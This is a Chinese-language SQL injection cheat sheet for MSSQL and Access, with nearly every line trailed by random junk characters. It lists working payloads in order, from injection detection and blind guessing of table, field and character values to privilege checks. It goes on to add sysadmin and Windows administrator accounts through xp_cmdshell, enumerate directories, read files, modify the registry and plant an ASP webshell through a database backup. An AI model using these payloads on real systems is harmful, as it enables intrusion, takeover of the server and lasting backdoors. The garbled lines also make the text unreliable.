1.判断是否有注入;and 1=1 ;and 1=2 ]N,'3`&::
2.初步判断是否是mssql ;and user>0 k.})3~F-
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3.注入参数是字符'and [查询条件] and ''=' P8#_E{f
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' PbY.8d%2/k
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5.判断数据库系统 8#R%jjr%T
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;and (select count(*) from sysobjects)>0 mssql QkWEVL@uM
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;and (select count(*) from msysobjects)>0 access ^Y!$WP
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 _+)n}Se
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 oKr= ]p
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 @My
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9.(1)猜字段的ascii值(access) E:O/=cT
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ADM!4L(s4}
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(2)猜字段的ascii值(mssql) SmRFxqtN
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 J7`;l6+Gb
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10.测试权限结构(mssql) <IBUl}|\
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- `Ba?4_>k
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- TwF.UL@G%
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ONZ(0H{ 1$
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 3g56[;Up?
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- *v: .]_;
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;and 1=(select IS_MEMBER('db_owner'));-- nEP3B'+
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11.添加mssql和系统的帐户 kpy)kS
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;exec master.dbo.sp_addlogin username;-- GO*D4<#u
;exec master.dbo.sp_password null,username,password;-- In;P33'p
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- O;&5>
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;exec master.dbo.xp_cmdshell 'net user username password #s#BYbF
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- Q
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ~9,Fc6w4`+
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12.(1)遍历目录 `,Y3(=3Xe?
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;create table dirs(paths varchar(100), id int) 0-uVmlk=/
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;insert dirs exec master.dbo.xp_dirtree 'c:\' |oePB<N
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;and (select top 1 paths from dirs)>0 sPl3JP&s
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) h0A%KL
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(2)遍历目录 *y` (^kyS
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 3<[q>7X
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 }AiF 7N0
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 /%F,
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 I]pz3!On4,
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 &' y}L'
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13.mssql中的存储过程 glkH??S
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xp_regenumvalues 注册表根键, 子键 aZ|S$-}
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 K$s{e0
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xp_regread 根键,子键,键值名 83aWMmA(1
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 G_WHW(8
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xp_regwrite 根键,子键, 值名, 值类型, 值 o3NB3@uj<
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 u@`y/,PX
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ?iamo.0zN
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xp_regdeletevalue 根键,子键,值名 9%0^fhrJ
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 |@f\[v9`
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ~E vGNnTL
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14.mssql的backup创建webshell 7&w[h4Lw
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create table cmd(str image); ^i8(/iwdJE
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insert into cmd(str) values (''); ZXIz.GFy+
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backup database model to disk='c:\l.asp'; Sogt?]HB$
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15.mssql内置函数 'e$8
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;and (select @@version)>0 获得Windows的版本号 o!c~"
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa pTncx%!W5
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;and (select user_name())>0 爆当前系统的连接用户 hDBo
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;and (select db_name())>0 得到当前连接的数据库 `}FZ;q3DP
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16.简洁的webshell kP^=
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use model e5'U[bQm
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create table cmd(str image); qG]0z_dPE~
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insert into cmd(str) values (''); 8kE3\#);\
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backup database model to disk='g:\wwwtest\l.asp';